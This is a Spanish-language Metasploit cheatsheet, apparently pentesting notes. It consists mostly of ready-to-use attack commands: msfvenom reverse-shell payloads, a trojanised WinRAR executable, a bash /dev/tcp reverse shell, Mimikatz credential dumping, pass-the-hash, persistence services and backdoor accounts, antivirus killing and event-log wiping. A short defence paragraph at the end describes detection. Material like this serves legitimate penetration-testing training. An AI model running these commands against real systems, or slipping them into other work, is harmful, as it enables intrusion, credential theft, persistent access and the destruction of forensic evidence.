Metasploit Framework — msfconsole, Meterpreter y msfvenom
Guía de Metasploit Framework: msfconsole, búsqueda de módulos, base de datos, Meterpreter, msfvenom, post-explotación, pivoting y evasión.
1. Operational Scope & Technical Objective
Metasploit Framework organiza la cadena completa de explotación: recon (módulos auxiliary/scanner), explotación (módulos exploit con payloads), y post-explotación (Meterpreter, módulos post/*). Su arquitectura distingue exploit (lo que aprovecha la vulnerabilidad), payload (lo que se ejecuta tras la explotación), encoder (ofusca el payload), nop (relleno NOP 0x90 para alinear payloads) y evasion (evita AV). Dominar msfconsole, Meterpreter y msfvenom permite ir de un puerto abierto a una sesión estable, pivotar a una red interna y mantener acceso — todo con la base de datos como registro de la operación.
2. High-Impact Syntax & Command Cheatsheet
Instalación y arranque
sudo apt update && sudo apt install metasploit-framework -y
sudo systemctl enable postgresql && sudo systemctl restart postgresql
sudo msfdb init # crea e inicializa la base de datos
service postgresql start && msfconsole -q
msfconsole -q -r script.rc # -q: modo silencioso; -r: ejecuta un recurso
msfconsole — comandos core
| Comando | Descripción |
|---|---|
show exploits |
lista todos los exploits del framework |
show payloads |
lista todos los payloads |
show auxiliary |
lista los módulos auxiliary |
search <nombre> |
busca módulos (ver filtros abajo) |
info <módulo> |
información detallada de un módulo |
use <nombre> |
carga un módulo (p. ej. use windows/smb/psexec) |
use <número> |
carga por índice tras search |
set <VAR> <val> / setg |
define una opción (global con setg) |
show options / show advanced |
opciones del módulo / opciones avanzadas |
show targets |
plataformas que soporta el exploit; set target <n> |
set payload <payload> |
especifica el payload (por nombre o índice) |
set autorunscript migrate -f |
migra automáticamente a otro proceso al explotar |
check |
comprueba si el objetivo es vulnerable (sin explotar) |
exploit / run / execute |
ejecuta el módulo |
exploit -j |
ejecuta en background (job) |
exploit -z |
no interactúa con la sesión al terminar |
exploit -e <encoder> |
encoder del payload (p. ej. -e shikata_ga_nai) |
sessions -l / -l -v |
lista sesiones (verbose: vulnerabilidad usada) |
sessions -i <id> |
interactúa con la sesión |
sessions -k <id> / -K |
termina una / todas las sesiones |
sessions -u <id> |
sube una shell Win32 a Meterpreter |
sessions -n <nombre> -i <id> |
renombra una sesión |
sessions -C <cmd> -i <id> |
ejecuta un comando Meterpreter en la sesión |
connect <IP> |
cliente tipo netcat (banner grabbing) |
help / back / exit |
ayuda / retroceder / salir |
Filtros de search:
search cve:2009 type:exploit app:client
search name:mysql
search platform:windows
search type:auxiliary
search cve:2017 type:exploit platform:windows
Campos: app (client/server), author, bid (Bugtraq), cve, edb (Exploit-DB), name, platform, ref, type.
Base de datos (workspaces y resultados)
db_status # confirma conexión a la BD
workspace # workspace actual
workspace -a <nombre> # crea workspace; -d lo borra; workspace <name> cambia
db_import <fichero.xml> # importa resultado de scan (nmap, nessus)
db_nmap <args> # nmap dentro de msf (p. ej. db_nmap -A 172.16.194.134)
hosts / services # hosts y servicios tras un scan
vulns / vulns -p 445 # vulnerabilidades; filtradas por puerto
creds # credenciales encontradas (brute force)
loot # hashes y datos recolectados
notes
db_export -f xml <out.xml>
db_destroy [user:pass@host:port/db] # borra la BD
Estructura de módulos
ls /usr/share/metasploit-framework/modules
ls ~/.msf4/modules # módulos propios/terceros (loadpath los carga)
- auxiliary/: soporte (scanners, gather, dos, fuzzers, spoof...).
- encoders/: ofuscan el payload contra AV basado en firmas (
cmd,generic,php,x86,x64...). - evasion/: módulos que intentan evitar AV (Windows:
applocker_evasion_*,process_herpaderping,syscall_inject,windows_defender_exe/js_hta...). - exploits/: organizados por SO objetivo (
aix,android,linux,multi,windows,osx,unix...). - nops/: generadores de NOP (Intel x86 =
0x90); buffer para alinear payloads. - payloads/:
singles(autocontenidos),stagers(canal de conexión, pequeño),stages(descargado por el stager) yadapters(envuelven singles en formatos como PowerShell). Convención:shell/reverse_tcp(sin_) = staged;shell_reverse_tcp(con_) = single.
Meterpreter — comandos
Núcleo y sistema:
| Comando | Descripción |
|---|---|
help |
ayuda de Meterpreter |
sysinfo |
SO, hostname, kernel del objetivo |
getuid / getpid / getprivs |
usuario / PID / privilegios actuales |
ps |
procesos con cuentas asociadas |
kill <pid> / pkill <nombre> |
termina proceso |
migrate <pid> |
migra la sesión a otro proceso (-L lista, -N <nombre>, -R aleatorio) |
run post/windows/manage/migrate |
migración guiada |
execute -f <cmd.exe> -i |
ejecuta cmd.exe interactivo |
execute -f <cmd.exe> -i -t |
con todos los tokens disponibles |
execute -f <cmd.exe> -i -H -t |
oculto (hidden process) |
shell |
shell de comandos del sistema |
background |
envía la sesión al fondo (o Ctrl+Z) |
sessions |
cambia rápidamente de sesión |
reboot / shutdown |
reinicia / apaga el objetivo |
guid / info / irb |
GUID / info de módulo / shell Ruby interactiva |
Sistema de ficheros:
| Comando | Descripción |
|---|---|
pwd / cd / ls |
directorio actual / cambiar / listar |
cat <file> / edit |
mostrar / editar contenido |
search -f *.txt |
busca ficheros (p. ej. search -f passwords*.txt) |
upload <local> <remoto> |
sube fichero al objetivo |
download <remoto> |
descarga (paths Windows con \\: download C:\\passwords.txt) |
mkdir / rmdir / rm |
crear / borrar dir / borrar fichero |
checksum md5 /bin/bash |
hash de un fichero |
getenv PATH / getenv |
variables de entorno |
Red:
| Comando | Descripción |
|---|---|
ifconfig / ipconfig |
interfaces de red |
arp |
caché ARP |
netstat |
conexiones de red |
portfwd add -l <puerto> -p <puerto_víctima> -r <IP_víctima> |
reenvío de puerto local |
route |
tabla de rutas |
Privilegios y tokens:
| Comando | Descripción |
|---|---|
use priv |
carga la extensión de privilegios (antes de getsystem) |
getsystem |
eleva a SYSTEM vía múltiples vectores |
use incognito |
carga funciones de token stealing |
list_tokens -u / -g |
lista tokens por usuario / grupo |
impersonate_token <DOMAIN\USER> |
impersona un token |
steal_token <pid> |
roba tokens de un proceso |
drop_token / rev2self |
deja de impersonar / vuelve al usuario original |
Registro, teclado, pantalla, red y misc:
| Comando | Descripción |
|---|---|
reg <command> |
interactuar con el registro |
keyscan_start / keyscan_dump / keyscan_stop |
keylogger |
screenshot / setdesktop <n> |
captura / cambia de escritorio |
uictl enable <keyboard/mouse> |
controla teclado/ratón |
webcam_list / webcam_snap -i 1 -v false / webcam_stream |
cámara |
idletime |
segundos de inactividad del usuario |
screenshare |
escritorio remoto en tiempo real |
hashdump |
dumps de SAM vía registro |
clearev |
borra los event logs |
timestomp |
cambia fechas de creación/modificación (antiforensia) |
load <ext> |
carga extensión (kiwi, incognito...) |
python_import -f <local.py> |
ejecuta un Python en el objetivo |
add_user <user> <pass> -h <ip> |
crea usuario remoto |
add_group_user <"Domain Admins"> <user> -h <ip> |
añade a grupo |
msfvenom — payloads
msfvenom --list payloads
msfvenom --list formats
msfvenom --list encoders
# Windows 32/64
msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=192.168.1.101 -b "\x00" -f exe -o Meterpreter.exe
msfvenom -a x64 -p windows/x64/meterpreter/reverse_tcp LHOST=<IP> LPORT=<PUERTO> -f exe -o payload_x64.exe
# Linux 32/64
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<IP> LPORT=<PUERTO> -f elf -o payload_x86
msfvenom -p linux/x64/meterpreter_reverse_tcp LHOST=<IP> LPORT=4443 -f elf -o rev
# Encoding (ofuscar contra AV de firmas)
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<IP> LPORT=<PUERTO> -e x86/shikata_ga_nai -f exe -o enc.exe
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<IP> LPORT=<PUERTO> -i 10 -e x86/shikata_ga_nai -f exe -o enc10.exe
# Inyección en un ejecutable legítimo (trojan)
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<IP> LPORT=<PUERTO> -e x86/shikata_ga_nai -i 10 -f exe -x winrar-x32-621.exe -o winrar.exe
# Otros formatos
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<IP> LPORT=<PUERTO> -f raw > shell.jsp # Tomcat
msfvenom -p php/meterpreter_reverse_tcp LHOST=<IP> LPORT=<PUERTO> -f raw > shell.php # PHP
msfvenom -p cmd/unix/reverse_python LHOST=<IP> LPORT=<PUERTO> -f raw > rev_shell.py
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<IP> LPORT=<PUERTO> -f asp > rev_shell.asp
msfvenom -p windows/shell_reverse_tcp LHOST=<IP> LPORT=4443 -f exe -o payload.exe # single
Listener (multi/handler) para los payloads generados:
msfconsole -q
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set LHOST <IP>
set LPORT 4443
run
Nota: en el payload PHP (-f raw) hay que quitar las comillas que msfvenom añade alrededor del código antes de subirlo al servidor web.
Resource scripts (automatización)
# handler.rc
echo 'use exploit/multi/handler' >> handler.rc
echo 'set PAYLOAD windows/meterpreter/reverse_tcp' >> handler.rc
echo 'set LHOST 192.168.0.114' >> handler.rc
echo 'set ExitOnSession false' >> handler.rc
echo 'exploit -j -z' >> handler.rc
msfconsole -r handler.rc
# dentro de msf: resource handler.rc ; makerc <file>.rc exporta los comandos dados
3. Real-World Offensive/Defensive Scenarios
Shell a Meterpreter y tratamiento TTY
# Automático
sessions -u 1
# Manual
background
use post/multi/manage/shell_to_meterpreter
set SESSION 1
set LHOST <LOCAL_IP>
run
# TTY estable desde una shell de Linux
shell
python -c 'import pty; pty.spawn("/bin/bash")'
# o lanzar una segunda shell al atacante
nc -lvnp 4443
bash -i >& /dev/tcp/<IP>/4443 0>&1
Escalada de privilegios (Windows)
# getsystem falla con "Operation failed: Access is denied" -> usar suggeter o exploits locales
background
use post/multi/recon/local_exploit_suggester
set SESSION 1
run
use exploit/windows/local/ms10_015_kitrap0d
set SESSION 1
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.1.100
set LPORT 4445
exploit
getuid # -> NT AUTHORITY\SYSTEM
# Bypass UAC (con sesión en background)
use exploit/windows/local/bypassuac_injection
set payload windows/x64/meterpreter/reverse_tcp
set SESSION 1
set LPORT <LOCAL_PORT>
set TARGET 'Windows x64'
run
getsystem
hashdump
# Token impersonation (privilegio SeImpersonatePrivilege)
getuid; getprivs
load incognito
list_tokens -u
impersonate_token "ATTACKDEFENSE\Administrator"
getuid
ps; migrate <PID>
hashdump
# chkrootkit (Linux)
use exploit/unix/local/chkrootkit
set CHKROOTKIT /bin/chkrootkit
set SESSION 1
set LHOST <LOCAL_IP>
Dump de hashes (Kiwi / Mimikatz / Pass-the-Hash)
# Kiwi (extensión Meterpreter)
load kiwi
creds_all
lsa_dump_sam
lsa_dump_secrets
# Mimikatz clásico
cd C:\\; mkdir Temp; cd Temp
upload /usr/share/windows-resources/mimikatz/x64/mimikatz.exe
shell
mimikatz.exe
privilege::debug
lsadump::sam
lsadump::secrets
sekurlsa::logonPasswords
# Pass-the-Hash con psexec
search psexec
use exploit/windows/smb/psexec
set payload windows/x64/meterpreter/reverse_tcp
set SMBUser Administrator
set SMBPass <ADMINISTRATOR_LM:NTLM_HASH>
Persistencia
# Windows: servicio persistente
background
use exploit/windows/local/persistence_service
set payload windows/meterpreter/reverse_tcp
set SESSION 1
# reconexión
use multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST <LOCAL_IP>
set LPORT <LOCAL_PORT>
# RDP
use post/windows/manage/enable_rdp
set SESSION 1
# Linux: persistencia SSH (requiere root)
use post/linux/manage/sshkey_persistence
set CREATESSHFOLDER true
set SESSION 1
# recuperar la clave en loot y usarla
cat /root/.msf4/loot/<DATE>_Linux_Persistenc_<IP>_id_rsa_.txt
chmod 0400 ssh_key
ssh -i ssh_key root@<TARGET_IP>
# Linux: persistencia manual con cuenta
useradd -m ftp -s /bin/bash; passwd ftp; usermod -aG root ftp; usermod -u 15 ftp
Pivoting y port forwarding
# Autoroute: añadir la subred interna a las rutas de MSF
meterpreter > run autoroute -s 10.10.10.0/24
# con la ruta puesta, todos los módulos (scanner/exploit) alcanzan la red interna
# Escanear TARGET2 a través de TARGET1
background
use auxiliary/scanner/portscan/tcp
set RHOSTS <TARGET2_IP>
set PORTS 1-100
run
# Port forwarding: exponer un puerto de TARGET2 en localhost
sessions 1
portfwd add -l <LOCAL_PORT> -p <TARGET2_PORT> -r <TARGET2_IP>
background
db_nmap -sS -sV -p <LOCAL_PORT> localhost
# Explotar TARGET2 a través del túnel (p. ej. badblue)
use exploit/windows/http/badblue_passthru
set payload windows/meterpreter/bind_tcp
set RHOSTS <TARGET2_IP>
set LPORT <LOCAL_PORT2>
run
Enumeración de servicios (auxiliary/scanner)
# FTP
use auxiliary/scanner/ftp/ftp_version
use auxiliary/scanner/ftp/ftp_login
use auxiliary/scanner/ftp/anonymous
# SMB
use auxiliary/scanner/smb/smb_enumusers
use auxiliary/scanner/smb/smb_enumshares
use auxiliary/scanner/smb/smb_login
# HTTP
use auxiliary/scanner/http/apache_userdir_enum
use auxiliary/scanner/http/brute_dirs
use auxiliary/scanner/http/dir_scanner
use auxiliary/scanner/http/dir_listing
use auxiliary/scanner/http/http_put
use auxiliary/scanner/http/files_dir
use auxiliary/scanner/http/http_login
use auxiliary/scanner/http/http_header
use auxiliary/scanner/http/http_version
use auxiliary/scanner/http/robots_txt
# MySQL
use auxiliary/admin/mysql/mysql_enum
use auxiliary/admin/mysql/mysql_sql
use auxiliary/scanner/mysql/mysql_file_enum
use auxiliary/scanner/mysql/mysql_hashdump
use auxiliary/scanner/mysql/mysql_login
use auxiliary/scanner/mysql/mysql_schemadump
use auxiliary/scanner/mysql/mysql_version
use auxiliary/scanner/mysql/mysql_writable_dirs
# SSH / SMTP
use auxiliary/scanner/ssh/ssh_version
use auxiliary/scanner/ssh/ssh_login
use auxiliary/scanner/ssh/ssh_enumusers
use auxiliary/scanner/smtp/smtp_enum
use auxiliary/scanner/smtp/smtp_version
# UDP sweep / portscan
use auxiliary/scanner/discovery/udp_sweep
use auxiliary/scanner/portscan/tcp
Escaneo de vulnerabilidades y correlación
# nmap en msf + búsqueda dirigida
db_nmap -sS -sV -O <TARGET_IP>
search type:exploit name:iis
search eternalblue
use auxiliary/scanner/smb/smb_ms17_010
# correlación con searchsploit
searchsploit "Microsoft Windows SMB" | grep -e "Metasploit"
# Autopwn (plugin db_autopwn)
wget https://raw.githubusercontent.com/hahwul/metasploit-autopwn/master/db_autopwn.rb
sudo mv db_autopwn.rb /usr/share/metasploit-framework/plugins/
# en msf: load db_autopwn
db_autopwn -p -t # enumera exploits por puerto abierto
db_autopwn -p -t -PI 445 # limita al puerto 445
# Importar resultados de Nessus
db_import /home/kali/Downloads/MS3_zph3t5.nessus
hosts; services; vulns; vulns -p 445
search cve:2019 name:rdp
search MS12-020
search PHP CGI Argument Injection
# WMAP (escaneo web dentro de msf)
load wmap
wmap_sites -a <TARGET_IP>
wmap_targets -t <URL>
wmap_run -t; wmap_run -e
wmap_vulns -l
Explotación de servicios concretos
# HFS (Rejetto)
search type:exploit name:rejetto
use exploit/windows/http/rejetto_hfs_exec
# EternalBlue SMB
search type:auxiliary EternalBlue
use auxiliary/scanner/smb/smb_ms17_010
use exploit/windows/smb/ms17_010_eternalblue
# WinRM (auth + brute + exec)
use auxiliary/scanner/winrm/winrm_auth_methods
use auxiliary/scanner/winrm/winrm_login
set USER_FILE /usr/share/metasploit-framework/data/wordlists/common_users.txt
set PASS_FILE /usr/share/metasploit-framework/data/wordlists/unix_passwords.txt
use auxiliary/scanner/winrm/winrm_cmd
set USERNAME <USER>; set PASSWORD <PW>; set CMD whoami
use exploit/windows/winrm/winrm_script_exec
set FORCE_VBS true
# Tomcat
use exploit/multi/http/tomcat_jsp_upload_bypass
check
set payload java/jsp_shell_bind_tcp
set SHELL cmd
# vsftpd (backdoor)
use exploit/unix/ftp/vsftpd_234_backdoor
/bin/bash -i
# Samba
use exploit/linux/samba/is_known_pipename
# libssh auth bypass
use auxiliary/scanner/ssh/libssh_auth_bypass
set SPAWN_PTY true
run
sessions 1
# Haraka (SMTP)
use exploit/linux/smtp/haraka
set SRVPORT 9898
set email_to root@attackdefense.test
set payload linux/x64/meterpreter_reverse_http
set LHOST <LOCAL_IP>; set LPORT 8080
run
Post-explotación Linux (enumeración de la víctima)
# desde la shell
whoami; cat /etc/passwd; groups root
cat /etc/*issue; cat /etc/*release
uname -a; uname -r
netstat -antp; ss -tnl
ps aux; env; lsblk -l
# módulos post de recolección
use post/linux/gather/enum_configs
use post/multi/gather/env
use post/linux/gather/enum_network
use post/linux/gather/enum_protections
use post/linux/gather/enum_system
use post/linux/gather/checkcontainer
use post/linux/gather/checkvm
use post/linux/gather/enum_users_history
use post/linux/gather/hashdump
use post/multi/gather/ssh_creds
use post/linux/gather/ecryptfs_creds
use post/linux/gather/enum_psk
use post/linux/gather/pptpd_chap_secrets
set SESSION 1
loot
Windows: enumeración avanzada
# cmd nativo
systeminfo
fsutil fsinfo drives
dir /b/s \*.conf\*
dir /b/s \*.txt\*
# módulos post de Windows
use post/windows/gather/win_privs # UAC/privilegios
use post/windows/gather/enum_logged_on_users
use post/windows/gather/checkvm
use post/windows/gather/enum_applications
use post/windows/gather/enum_av_excluded
use post/windows/gather/enum_computers
use post/windows/gather/enum_patches
use post/windows/gather/enum_shares
use post/windows/gather/credentials/credential_collector
use post/windows/gather/dumplinks
use post/windows/gather/enum_snmp
use post/windows/gather/usb_history
use post/windows/manage/enable_rdp
use post/windows/manage/migrate
set SESSION 1
# herramientas clásicas de meterpreter
run post/windows/gather/arp_scanner RHOSTS=192.168.1.0/24
run post/windows/gather/hashdump
run persistence -U -i 10 -p 443 -r 192.168.1.5 # reconexión cada 10s al login
run getgui -e / run gettelnet -e / run killav / run scraper / run winenum
run remotewinenum -u administrator -p password123 -t 10.0.0.100
Limpieza de rastro
meterpreter > clearev # borra los event logs
meterpreter > timestomp <fichero> # falsifica fechas de ficheros
Defensa
Meterpreter y msfvenom son herramientas conocidas: los AV modernos detectan las firmas de windows/meterpreter/reverse_tcp y de los encoders clásicos (shikata_ga_nai). La defensa se apoya en EDR con monitorización de comportamiento (inyección de procesos, migración, getsystem, uso de tokens), Application Control para bloquear binarios no firmados, y la caza de los artefactos de post-explotación: servicios de persistencia inesperados, claves SSH nuevas en authorized_keys, y las cuentas creadas con add_user. En red, los payloads staged generan una primera conexión pequeña y predecible: los IPS con inspección TLS/deep packet hunting del patrón multi/handler reducen la ventana del atacante.
Referencias
- https://www.offsec.com/metasploit-unleashed/msfconsole-commands/
- https://j4ckie0x17.gitbook.io/notes-pentesting/explotacion/metasploit#auxiliary
- Shell to Meterpreter: https://medium.com/@AhmadCyberZone.com/how-we-upgrade-normal-shell-into-meterpreter-shell-using-msf-7e97c3dc3c8e
Diagrama original (excalidraw)
Diagrama Metasploit (excalidraw)
